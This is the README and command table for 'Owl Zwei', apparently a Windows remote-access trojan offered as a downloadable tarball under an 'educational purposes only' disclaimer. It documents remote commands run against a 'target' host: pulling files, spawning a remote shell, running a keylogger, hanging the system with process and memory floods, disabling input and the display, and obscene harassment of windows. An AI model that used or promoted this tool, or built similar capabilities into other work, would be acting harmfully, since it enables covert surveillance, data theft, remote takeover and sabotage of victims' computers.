

Owl Zwei  
Yati Sagade, India  
yati [dot] sagade [at] gmail [dot] com

\*\*\*This software is intended for educational purposes only and any illegitimate/destructive/malicious use should proceed at the sole risk of the user.\*\*\*

If you downloaded the OZ (Owl Zwei) tarball from <http://yati.shell.tor.hu/>, you should have received YTalk, the official client-side for Owl Zwei. There's also a Java(tm) based GUI client included.

#### OWL COMMANDS

Every owl command has at the barest minimum, two parts - the command object and the method on that object. (Don't flame me if I sound Java-ish; I will love C/C++ till I die)

e.g., the "file" object supports, as of this writing, the 'ls', 'lsdrv', 'send', 'recv' etc. methods. So, a basic command like 'file ls' will have the server dump a directory listing of the cwd (maintained internally by OZ server) to the client. After the method, any additional args may be passed to the object. If the object does not expect an arg and is given one, the server exhibits a don't care attitude and does not flag an error.

e.g., the command 'file ls D:\testdir' will dump the listing of the directory D:\testdir.  
the command 'file ls ex drive:\path\to\dir' will dump the EXPANDED dir-listing. ( recursive listing of subdirectories as well).

For more enlightenment on this, refer to misc.h, misc.cpp and HandleClient() in owl.cpp

cmd-object	method	args	task
file	lsdrv	---	send a tuple of the existing drives on the host in a (a:\,b:\,c:\...) format
	ls	[dirname]	send a listing of directory 'dirname', if specified. If not specified, owl's notion of the current working directory is used. In the listing, entries starting with a '-f' are files and those starting with a '-d' are dirs.
		ex [dirname]	send an expanded listing of 'dirname'. The subdirs are recursively expanded and listed. Use sensibly, as this involves recursive function calls.
	get	<filename>	dump the contents of the file 'filename'. YTalk does NOT write this dump to a local file. It just displays it. But it is very easy to code that part, if you like to.
	put	<filename>	have a look at the sources, misc.cpp and file.cpp
	mkdir	<dirname>	create a folder named dirname with default permissions.
cd	open	---	open the System CD-Tray.
	close	---	close the System CD-Tray, if possible.
mbn	r	---	set the mouse for a right-handed person.
	l	---	left-handed.
	s	---	swap mouse buttons.
monitor	---	---	
	on	---	switch the monitor on.
	off	---	switch the monitor off.
input	---	---	
	on	---	enable input.
	off	---	disable input.
dblclk	---	<time>	set the double-click time to 'time' ms.
reboot	---	---	reboot.
shutdown	---	---	shutdown.

keybd	log	---	start keylogger.
	stop	---	stop keylogger.
	logpath	---	return the path to the keystroke logger's log file.
mouse	fly	---	
		on	start flying the mouse pointer randomly.
		clk	start flying the mouse pointer and random clicking
		off	stop flying the mouse-ptr.
	restrict	[l,t,r,b]	restrict the mouse pointer to a rectangular region bounded by, left=l, top=t, right=r and bottom=b.
	click	---	click at the current pointer position.
		<x,y>	click at (x,y).
	show	---	show the mouse pointer.
	hide	---	hide the mouse pointer.
shell	---	---	spawn a shell( cmd.exe for NT/XP and command.com for 98/ME.
sys	mem	---	show the total RAM on the host.
	fmem	---	show the total available RAM on the host.
	bmem	---	show the total busy RAM on the host.
	disk	---	show the size of the C:\ partition.
		<drv:\>	show the size of the drv:\ partition.
	fdisk	---	show the free space on C:\
		<drv:\>	show the free space on drv:\
	udisk	---	show the used space on C:\
		<drv:\>	show the used space on drv:\
	cd	[dirname]	change Owl's notion of the cwd to 'dirname'. If dirname is not specified, do nothing.
	lock	---	lock the system up by trying to create a huge no. of processes.
	ramfill	---	request a huge chunk of memory so that the system hangs.
taskbar	show	---	show the hidden taskbar; ignore if not hidden
	hide	---	hide the taskbar
	enable	---	enable the disabled taskbar
	disable	---	disable the taskbar(kewl)
startbn	show	---	show the (hidden) Start Button
	hide	---	hide the Start Button
	fly	[on]	the 'on' arg is optional; this will start flying the Start Button. see source.
	fly	off	will RESTORE the Start Button to its stationary position, if at all disturbed by 'startbn fly on'
sysclock	show	---	show the system clock
	hide	---	hide the system clock
fu	[<message>]	---	set 'message' as the title of every window and sub windows thereof. if no arg is supplied, 'Fuck You!!!' will be used. Any window opened after this will also be affected.

fustop	---	---	stop the chaos caused by `fu`
dtp	enable	---	enable Desktop
	disable	---	disable Desktop
quake	[on]	---	`quake' or `quake on' will cause the active window to shake rapidly
	off	---	stop all the shaking!
sprint	[on]	---	make the active window run away from the desktop
	off	---	stop.
owl	uninstall	---	gracefully withdraw the server from target